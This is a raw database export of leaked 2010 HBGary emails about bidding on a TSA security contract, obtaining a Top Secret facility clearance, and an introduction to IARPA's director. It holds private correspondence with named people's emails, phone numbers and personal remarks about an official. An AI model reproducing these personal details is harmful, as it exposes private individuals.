Secret\r\nSecurity Facilities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI got really nervous. So then I can\'t submit folks for\r\npositions then right?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 20, 2010, at 3:54 PM, John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can sponsor you, btw, to get it.&nbsp; I&#8217;ll\r\ndouble-check but I think every sub needs it.&nbsp; No biggee: the HBGary logo\r\nfor the sw company will still be in there and you&#8217;ll get your percentage\r\nworkshare.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital Management, Inc.\r\n\r\n\r\n\r\n\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, August 20,\r\n2010 3:37 PM\r\nTo:&nbsp;John Fanguy\r\nSubject:&nbsp;Re: Top Secret\r\nSecurity Facilities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI don\'t.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 20, 2010, at 3:35 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nconfirm back that you have a Top Secret Security Facility (required by TSA for\r\nall companies).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800&nbsp;main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1258,'aaron_hbgary_com/1258.html'),(10710,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008266.M726937P14101Q5566.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Top Secret Security Facilities','\r\n\r\nBegin forwarded message:\r\n\r\n> From: John Fanguy \r\n> Date: August 20, 2010 4:26:14 PM EDT\r\n> To: Aaron Barr \r\n> Subject: RE: Top Secret Security Facilities\r\n> \r\n> 1)      So based on this, you can’t initially be a sub on the contract.  No biggee.  By the time this contract clears protests you’ll have it.  Just confirmed with Sunny we can sponsor you. \r\n>  \r\n> 2)      Here’s the best link on getting it and how sponsorship works.  http://www.dss.mil/isp/fac_clear/fac_clear_check.html\r\n>  \r\n> 3)      First step is the sponsorship letter, http://www.dss.mil/isp/fac_clear/documents/fcl_sponsorship_request_letter.pdf  I’ve attached it.  Copy and paste it and fill out and return to me and we’ll get going with it.\r\n>  \r\n> -John\r\n>  \r\n>  \r\n>  \r\n> Checklist for New Facility Security Clearances\r\n> \r\n> DSS uses CAGE Codes to track basic facility information. If your company does not already have a CAGE Code for the facility requiring clearance, one may be obtained by submitting a DD Form 2051 to Commander, Defense Logistics Services Center, ATTN: DLSC-SBB, Federal Center, 74 North Washington, Battle Creek, MI 49017-3084. The DD Form 2051 can be found at:\r\n> http://www.dtic.mil/whs/directives/infomgt/forms/eforms/dd2051.pdf\r\n> \r\n> Section A of the form must be filled out and signed by the sponsoring government agency. Your sponsoring government agency may also request the CAGE Code for you by submitting a request on agency letterhead to the above address.\r\n> \r\n> Alternatively, you can register with the Central Contractor Registration (CCR) database to get a CAGE Code at http://www.ccr.gov/.\r\n> \r\n> Checklist for New Facility Security Clearances\r\n> ·         Sponsorship: The very first step to clearing a company is for them to be sponsored for a facility clearance by either a government contracting activity (GCA) or another cleared company.  The Facility Clearance Branch has a sample sponsorship letter that the sponsoring organization may use to submit the sponsorship.\r\n> ·         DSS Begins the Process: Once the sponsorship letter has been received and accepted, the Facility Clearance Branch will send the sponsored organization a package that contains detailed information for a company that is beginning the facility clearance process. The Facility Clearance Branch will also contact the local Industrial Security Field Office, which will assign an Industrial Security Representative to make contact with and begin processing the organization for a facility clearance.\r\n> ·         Commercial and Government Entity Code (CAGE Code): DSS uses CAGE Codes to track basic facility information. If your company does not already have a CAGE Code for the facility requiring clearance, one may be obtained by submitting a DD Form 2051 to Commander, Defense Logistics Services Center, ATTN: DLSC-SBB, Federal Center, 74 North Washington, Battle Creek, MI 49017-3084. The DD Form 2051 can be found at:\r\n> http://www.dtic.mil/whs/directives/infomgt/forms/eforms/dd2051.pdf \r\n> \r\n> Section A of the form must be filled out and signed by the sponsoring government agency. Your sponsoring government agency may also request the CAGE Code for you by submitting a request on agency letterhead to the above address. \r\n> \r\n> Alternatively, you can register with the Central Contractor Registration (CCR) database to get a CAGE Code at http://www.ccr.gov/.\r\n> ·         Prepare for DSS\' Visit: \r\n> o    NISPOM: Download the National Industrial Security Program Operating Manual (NISPOM).  Becoming familiar with the NISPOM also will take a great deal of time and will, likewise, require a determined effort.\r\n> ·         Prepare Organizational Documentation/Information:  Obtain and have available the following documents/information for your first visit from your Industrial Security Representative from DSS.\r\n>  \r\n> o    Articles of Incorporation, Stock Records, Minutes of Board Meetings, and Corporate by-laws.\r\n> o    Federal Tax ID Number.\r\n> o    Any 10K Reports filed with the Securities Exchange Commission.\r\n> o    Key Management Personnel List. The senior management official, the prospective Facility Security Officer (FSO), all executive committee members, and all board members including the Chairman should be listed.  NISPOM paragraph 2-104 provides some guidance, and additional guidance will be provided by your Industrial Security Representative during the first visit.\r\n> o    Brief summary of your company\'s primary business or services provided.\r\n> o    E-mail, Fax, and complete address information for the last ten years — include the last four number extension on your zip code.\r\n> o    Proof of US Citizenship for prospective Facility Security Officer (FSO) (see NISPOM para 2-207).\r\n> ·         Personnel Security Clearance:  In order for your company to be cleared, specified Key Management Personnel (KMP) must be cleared.  Other KMP may be excluded, unless they will require access to classified information.  Your Defense Security Service Industrial Security Representative will help you identify those that must be cleared and those that may be excluded.  This must be done as soon as possible!\r\n> ·         Fingerprint Cards (FD 258): These forms will be in the initial package mailed to you by the Facility Clearance Branch and should be mailed to OPM (see below). Only use the forms that are provided to you--other types of fingerprint cards, such as local law enforcement forms, will be rejected.\r\n> \r\n> US Mail:\r\n> E-QIP Rapid Response Team\r\n> OPM-FIPC\r\n> Post Office Box 618\r\n> Boyers, PA 16018\r\n> \r\n> FedEx:\r\n> E-QIP Rapid Response Team\r\n> OPM-FIPC\r\n> 1137 Branchton Road\r\n> Boyers, PA 16020\r\n> ·         DEFENSE SECURITY SERVICE FACILITY PROCESS FORMS:  Complete the following documents for review by your Industrial Security Representative from Defense Security Service.\r\n> ·         DD Form 441 This is the Department of Defense Security Agreement.  It is an agreement between your organization and the United States Government that details the security responsibilities of both the cleared organization and the United States Government.  Submit in duplicate.  Do not date; date will be added when the Facility Clearance is granted by the authorized government representative. \r\n> o    Corporations:  Show name as it appears on Articles of Incorporation.  All forms must be signed by a corporate officer, and the Certificate portion must be signed by a second officer such as the corporate secretary.  No witnesses are required.  All forms must be impressed with the corporate seal, if there is one.\r\n> o    Partnership:  Show correct legal name of the business and full names of all general partners.  All forms must be signed by a partner.  Two witnesses\' signatures are required.\r\n> o    Proprietorship:  Show the full name of the owner and the correct legal name of the business.  All forms must be signed by the owner.  Two witnesses\' signatures are required.\r\n> ·         DD Form 441-1 This is an attachment to the DD Form 441 that lists cleared divisions or branch offices that are included in and covered by the provisions of the organization\'s Security Agreement and Certificate Pertaining to Foreign Interest. Submit in duplicate only if you are a division of a Home Office with a Facility Clearance.  Date of Security Agreement will be affixed by the authorized government representative.  Show correct legal name of the business organization.  It should be signed by an official of the company authorized to do so, such as the Corporate President.  When the executed copy is returned, one copy each of both the Security Agreement and Appendage should be sent to every facility listed.\r\n> ·         SF 328 Certificate Pertaining to Foreign Interest: The Certificate Pertaining to Foreign Interest is used to report your organization\'s foreign involvement.  Submit one copy and retain one executed copy.  Fully explain all \"yes\" answers.  Click on Instructions for completing the SF 328 to see further instructions.\r\n>  \r\n>  \r\n> -John\r\n>  \r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, August 20, 2010 4:00 PM\r\n> To: John Fanguy\r\n> Subject: Re: Top Secret Security Facilities\r\n>  \r\n> So based on this what is our status?  Should we submit rates, should we submit resumes?\r\n>  \r\n> Aaron\r\n>  \r\n> On Aug 20, 2010, at 3:59 PM, John Fanguy wrote:\r\n> \r\n> \r\n> H.1 FACILITY CLEARANCE\r\n> Access to classified information at the Top Secret level is required to support the Information Tech-nology Security Support Services contract. The Contractor and any subcontractor(s) shall provide special handling for TOP SECRET collateral classified and/or sensitive but unclassified (SBU) data. As such, the Contractor and any subcontractor(s) shall possess a current facility clearance at least at the TOP SECRET level. The prime contractor is responsible for ensuring that they and any subcon-tractor(s) comply with the provisions of the National Industrial Security Program Operating Manual (NISPOM).\r\n>  \r\n> -John\r\n>  \r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, August 20, 2010 3:58 PM\r\n> To: John Fanguy\r\n> Subject: Re: Top Secret Security Facilities\r\n>  \r\n> I got really nervous. So then I can\'t submit folks for positions then right?\r\n>  \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Aug 20, 2010, at 3:54 PM, John Fanguy  wrote:\r\n> \r\n> We can sponsor you, btw, to get it.  I’ll double-check but I think every sub needs it.  No biggee: the HBGary logo for the sw company will still be in there and you’ll get your percentage workshare.\r\n>  \r\n> -John\r\n>  \r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, August 20, 2010 3:37 PM\r\n> To: John Fanguy\r\n> Subject: Re: Top Secret Security Facilities\r\n>  \r\n> I don\'t.\r\n>  \r\n> On Aug 20, 2010, at 3:35 PM, John Fanguy wrote:\r\n>  \r\n> \r\n> Please confirm back that you have a Top Secret Security Facility (required by TSA for all companies).\r\n>  \r\n> Thanks,\r\n>  \r\n> -John\r\n>  \r\n> John Fanguy\r\n> VP\r\n> Digital Management, Inc.\r\n> \"Leading Government Transformation\"\r\n> GSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n> --------------------------------------------------\r\n> 6701 Democracy Blvd, Suite 500\r\n> Bethesda, Maryland 20817\r\n> 301-346-6749 cell\r\n> 240-223-4800 main\r\n> \r\n> \r\n> \r\n>  \r\n>  \r\n>  \r\n\r\n',13390,'aaron_hbgary_com/13390.html'),(10711,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008266.M75490P14101Q5564.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: 4square','Thanks Dave,\r\n\r\nIt is creepy.\r\n\r\nWe are going to start offing social network training in September, we are going to offer it webex and physical.  I am looking forward to it.\r\n\r\nAaron\r\n\r\nOn Aug 19, 2010, at 3:23 PM, Merritt, David CTR OSD CIO wrote:\r\n\r\n> Here\'s another link to add to your social networking brief...\r\n> \r\n> http://gawker.com/5537538/the-humiliation-of-a-creepy-russian-sugar-daddy\r\n> \r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> OSD CIO IA\r\n> 703-697-2051 :desk\r\n> \r\n> \r\n\r\n',11071,'aaron_hbgary_com/11071.html'),(10712,'2010-08-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008266.M969604P14101Q5567.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: TSA ITSSS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSo we need to make sure that these are charged for because we charge\r\nfor engagements and this is a long one.&nbsp; Maria can you ask Dale about this?&nbsp; Is\r\nhe involved?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 20, 2010 8:37 AM\r\nTo: Maria Lucas\r\nCc: Ted Vera; Penny C. Hoglund\r\nSubject: Re: TSA ITSSS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThere are product requirements in that for the personnel\r\nquals it state needs to be familiar with enCase, FTK, and HBGary for digital\r\nforensics. &nbsp;Then there are the capability requirements of needing to set\r\nup a malware RE, proactive defense, cyber intelligence capability in 2010,\r\nwhich we believe between HBGary, Fidelis, and HBGary Fed provides a great story\r\nto satisfy their growth areas.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDoes that match?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 20, 2010, at 11:05 AM, Maria Lucas wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan you confirm that you spoke to Dale briefly and he was\r\nsurprised that we thought there were product requirements?&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you think this needs to be clarified again... would you\r\nor Aaron like me to schedule a call with Dale?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Aug 20, 2010 at 7:47 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\nThis is the contract, work with\r\nAaron to make sure this isn\'t your deal\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:adbarr@me.com]\r\nSent: Wednesday, August 11, 2010 6:57 AM\r\nTo: Penny Leavy; Greg Hoglund\r\nCc: Bob Slapnik; Maria Lucas\r\nSubject: TSA ITSSS\r\n\r\nSo here are some of the requirements for the TSA ITSSS contract in FY10.\r\nMost of these capabilities they don\'t currently have. &nbsp;If we win this we\r\nwill be implementing the full suite of HBGary Products (AD, Responder, TMC)\r\nand Palantir and Fidelis.\r\n\r\nDIGITAL FORENSICS:\r\n150 Cases for FY10: 50% of those 2+ weeks effort each.\r\nExpanded support in Program Analysis and E-Discovery. &nbsp;Support to CI.\r\nTraining Development.\r\nWill develop a malware reverse engineering capability.\r\nWill develop a malware sandbox network.\r\nWill develop advanced processes and procedures to proactively detect\r\nintrusions and compromises.\r\n\r\nCOMPUTER NETWORK DEFENSE:\r\nFY10 addition of remote systems to TSA SOC Monitoring.\r\nBegin security monitoring of the non-OIT managed IT systems and integrate\r\nthem with the IAD IR procedures.\r\nWill develop a cyber intelligence capability.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4993,'aaron_hbgary_com/4993.html'),(10713,'2010-08-20','dawn.meyerriecks@dni.gov','/aaron@hbgary.com/new/1297008267.M179786P14101Q5568.eml','lisa.j.porter@ugov.gov,aaron@hbgary.com','e-Intro','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLisa &#8211;\r\n\r\n&nbsp;\r\n\r\nAaron is the individual I mentioned that came to me with the\r\ninteresting code fragment analysis.\r\n\r\n&nbsp;\r\n\r\nAaron &#8211;\r\n\r\n&nbsp;\r\n\r\nLisa is the brilliant scientist we are lucky to have running\r\nIARPA.\r\n\r\n&nbsp;\r\n\r\nThought you two might have an interesting conversation.&nbsp; J\r\n\r\n&nbsp;\r\n\r\nThanks!&nbsp; Dawn\r\n\r\n\r\n\r\n\r\n\r\n\r\n',53,'aaron_hbgary_com/53.html'),(10714,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008267.M438699P14101Q5569.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: e-Intro','Sent from my iPadBegin forwarded message:From: &lt;dawn.meyerriecks@dni.gov&gt;\r\nDate: August 20, 2010 6:12:01 PM EDTTo: &lt;lisa.j.porter@ugov.gov&gt;, &lt;aaron@hbgary.com&gt;Subject: e-Intro\r\n\r\n\r\n\r\n\r\nLisa –\r\n\r\n \r\n\r\nAaron is the individual I mentioned that came to me with the\r\ninteresting code fragment analysis.\r\n\r\n \r\n\r\nAaron –\r\n\r\n \r\n\r\nLisa is the brilliant scientist we are lucky to have running\r\nIARPA.\r\n\r\n \r\n\r\nThought you two might have an interesting conversation.  J\r\n\r\n \r\n\r\nThanks!  Dawn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11468,'aaron_hbgary_com/11468.html'),(10715,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008267.M659554P14101Q5570.eml','dawn.meyerriecks@dni.gov,dawn.meyerriecks@dni.gov','Re: e-Intro','Hi Lisa,\r\n\r\nThank you for the introduction Dawn.\r\n\r\nI would be happy to come in and talk about our process for analysis\r\nand our conclusions.  That may spur some other interesting related\r\nconversations.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Aug 20, 2010, at 6:12 PM, \"dawn.meyerriecks@dni.gov\"\r\n wrote:\r\n\r\n> Lisa –\r\n>\r\n>\r\n>\r\n> Aaron is the individual I mentioned that came to me with the interesting code fragment analysis.\r\n>\r\n>\r\n>\r\n> Aaron –\r\n>\r\n>\r\n>\r\n> Lisa is the brilliant scientist we are lucky to have running IARPA.\r\n>\r\n>\r\n>\r\n> Thought you two might have an interesting conversation.  J\r\n>\r\n>\r\n>\r\n> Thanks!  Dawn\r\n',6666,'aaron_hbgary_com/6666.html'),(10716,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008267.M872631P14101Q5571.eml','\"Thomas W. Conroy\" <Tom.Conroy@ngc.com>','Fwd: e-Intro','FYI...Sent from my iPadBegin forwarded message:From: &lt;dawn.meyerriecks@dni.gov&gt;\r\nDate: August 20, 2010 6:12:01 PM EDTTo: &lt;lisa.j.porter@ugov.gov&gt;, &lt;aaron@hbgary.com&gt;Subject: e-Intro\r\n\r\n\r\n\r\n\r\nLisa –\r\n\r\n \r\n\r\nAaron is the individual I mentioned that came to me with the\r\ninteresting code fragment analysis.\r\n\r\n \r\n\r\nAaron –\r\n\r\n \r\n\r\nLisa is the brilliant scientist we are lucky to have running\r\nIARPA.\r\n\r\n \r\n\r\nThought you two might have an interesting conversation.  J\r\n\r\n \r\n\r\nThanks!  Dawn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12950,'aaron_hbgary_com/12950.html'),(10717,'2010-08-20','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297008268.M331659P14101Q5573.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Fwd: e-Intro','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTake this one seriously Aaron.&nbsp; Lisa is a very aloof woman who\r\nis hard to get close to.&nbsp; She runs IARPA very much under her direct control,\r\nmuch as Tony Tether ran DARPA.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIf you can build a relationship with her it could be very powerful.&nbsp;\r\nBut the odds are against you.&nbsp; Still, if anyone can do it, you can.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBe advised, Lisa is very sensitive about being a woman in a man&#8217;s\r\nworld and she prefers to be treated with respect for her intellect and\r\naccomplishments.&nbsp; But again, beware of a hair trigger that can transition her\r\ninto a defensive and distant/aloof posture.&nbsp; &nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nGood luck.&nbsp; Make it work.&nbsp; She could really help you.&nbsp; \r\n\r\n&nbsp;\r\n\r\nTom\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 20, 2010 6:29 PM\r\nTo: Conroy, Thomas W.\r\nSubject: EXTERNAL:Fwd: e-Intro\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFYI...\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &lt;dawn.meyerriecks@dni.gov&gt;\r\nDate: August 20, 2010 6:12:01 PM EDT\r\nTo: &lt;lisa.j.porter@ugov.gov&gt;,\r\n&lt;aaron@hbgary.com&gt;\r\nSubject: e-Intro\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLisa\r\n&#8211;\r\n\r\n&nbsp;\r\n\r\nAaron\r\nis the individual I mentioned that came to me with the interesting code\r\nfragment analysis.\r\n\r\n&nbsp;\r\n\r\nAaron\r\n&#8211;\r\n\r\n&nbsp;\r\n\r\nLisa\r\nis the brilliant scientist we are lucky to have running IARPA.\r\n\r\n&nbsp;\r\n\r\nThought\r\nyou two might have an interesting conversation.&nbsp; J\r\n\r\n&nbsp;\r\n\r\nThanks!&nbsp;\r\nDawn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1352,'aaron_hbgary_com/1352.html'),(10718,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008268.M568614P14101Q5574.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: EXTERNAL:Fwd: e-Intro','Sent from my iPadBegin forwarded message:From: &quot;Conroy, Thomas W.&quot; &lt;Tom.Conroy@ngc.com&gt;\r\nDate: August 20, 2010 6:44:47 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: EXTERNAL:Fwd: e-Intro\r\n\r\n\r\n\r\n\r\nTake this one seriously Aaron.  Lisa is a very aloof woman who\r\nis hard to get close to.  She runs IARPA very much under her direct control,\r\nmuch as Tony Tether ran DARPA.  \r\n\r\n \r\n\r\nIf you can build a relationship with her it could be very powerful. \r\nBut the odds are against you.  Still, if anyone can do it, you can.  \r\n\r\n \r\n\r\nBe advised, Lisa is very sensitive about being a woman in a man’s\r\nworld and she prefers to be treated with respect for her intellect and\r\naccomplishments.  But again, beware of a hair trigger that can transition her\r\ninto a defensive and distant/aloof posture.    \r\n\r\n \r\n\r\nGood luck.  Make it work.  She could really help you.  \r\n\r\n \r\n\r\nTom\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 20, 2010 6:29 PM\r\nTo: Conroy, Thomas W.\r\nSubject: EXTERNAL:Fwd: e-Intro\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nFYI...\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &lt;dawn.meyerriecks@dni.gov&gt;\r\nDate: August 20, 2010 6:12:01 PM EDT\r\nTo: &lt;lisa.j.porter@ugov.gov&gt;,\r\n&lt;aaron@hbgary.com&gt;\r\nSubject: e-Intro\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLisa\r\n–\r\n\r\n \r\n\r\nAaron\r\nis the individual I mentioned that came to me with the interesting code\r\nfragment analysis.\r\n\r\n \r\n\r\nAaron\r\n–\r\n\r\n \r\n\r\nLisa\r\nis the brilliant scientist we are lucky to have running IARPA.\r\n\r\n \r\n\r\nThought\r\nyou two might have an interesting conversation.  J\r\n\r\n \r\n\r\nThanks! \r\nDawn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3677,'aaron_hbgary_com/3677.html'),(10719,'2010-08-20','\"cybernexus Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297008268.M820338P14101Q5575.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Scott Sheldon and other cybernexus group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsAugust 20, 2010\r\n    cybernexus\r\n    \r\n      \r\n        Latest:\r\n\r\n            1 discussion\r\n\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n  \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Technical Tuesday - 5 Oct 2010; 1600 - 1730; The Rise of the Social Web\r\n        Add a comment  &raquo;\r\n      \r\n\r\n        Started by Scott Sheldon, VP, Senior Account Executive at SAIC\r\n        \r\n          \r\n	              The presentation will focus on the rise of the social web, convergence of technologies to support the social web, and the implications of...\r\n	                    More &raquo;\r\n                By Scott Sheldon, VP, Senior Account Executive at SAIC\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\n&nbsp;\r\n\r\n\r\n',12682,'aaron_hbgary_com/12682.html'),(10720,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008268.M87552P14101Q5572.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: TSA ITSSS','Wait don&#39;t talk to Dale yet.  Let&#39;s have a conversation internally and make sure we are talking the same language.\r\n\r\nMaria i will call you on Monday or can set a tele con for the 3 of us.\r\nSent from my iPadOn Aug 20, 2010, at 6:07 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nSo we need to make sure that these are charged for because we charge\r\nfor engagements and this is a long one.  Maria can you ask Dale about this?  Is\r\nhe involved?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 20, 2010 8:37 AM\r\nTo: Maria Lucas\r\nCc: Ted Vera; Penny C. Hoglund\r\nSubject: Re: TSA ITSSS\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThere are product requirements in that for the personnel\r\nquals it state needs to be familiar with enCase, FTK, and HBGary for digital\r\nforensics.  Then there are the capability requirements of needing to set\r\nup a malware RE, proactive defense, cyber intelligence capability in 2010,\r\nwhich we believe between HBGary, Fidelis, and HBGary Fed provides a great story\r\nto satisfy their growth areas.\r\n\r\n\r\n\r\n 